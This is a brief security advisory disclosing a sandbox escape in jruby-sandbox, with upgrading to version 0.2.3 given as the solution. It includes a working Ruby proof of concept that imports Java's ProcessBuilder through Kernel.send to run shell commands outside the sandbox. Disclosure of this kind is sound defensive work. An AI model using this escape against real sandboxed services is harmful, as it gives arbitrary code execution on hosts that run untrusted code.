[ Description ]
 jruby-sandbox aims to allow safe execution of user given Ruby
 code within a JRuby [0] runtime. However via import of Java
 classes it is possible to circumvent those protections and
 execute arbitrary code outside the sandboxed environment.

[ Example ]

require 'sandbox'
sand = Sandbox.safe
sand.activate!

begin
 sand.eval("print `id`")
rescue Exception => e
 puts "fail via Ruby ;)"
end
puts "Now for some Java"

sand.eval("Kernel.send :java_import, 'java.lang.ProcessBuilder'")
sand.eval("Kernel.send :java_import, 'java.util.Scanner'")
sand.eval("s = Java::java.util.Scanner.new( " +
 "Java::java.lang.ProcessBuilder.new('sh','-c','id')" +
 ".start.getInputStream ).useDelimiter("x00").next")
sand.eval("print s")

[ Solution ]
 Upgrade to version 0.2.3
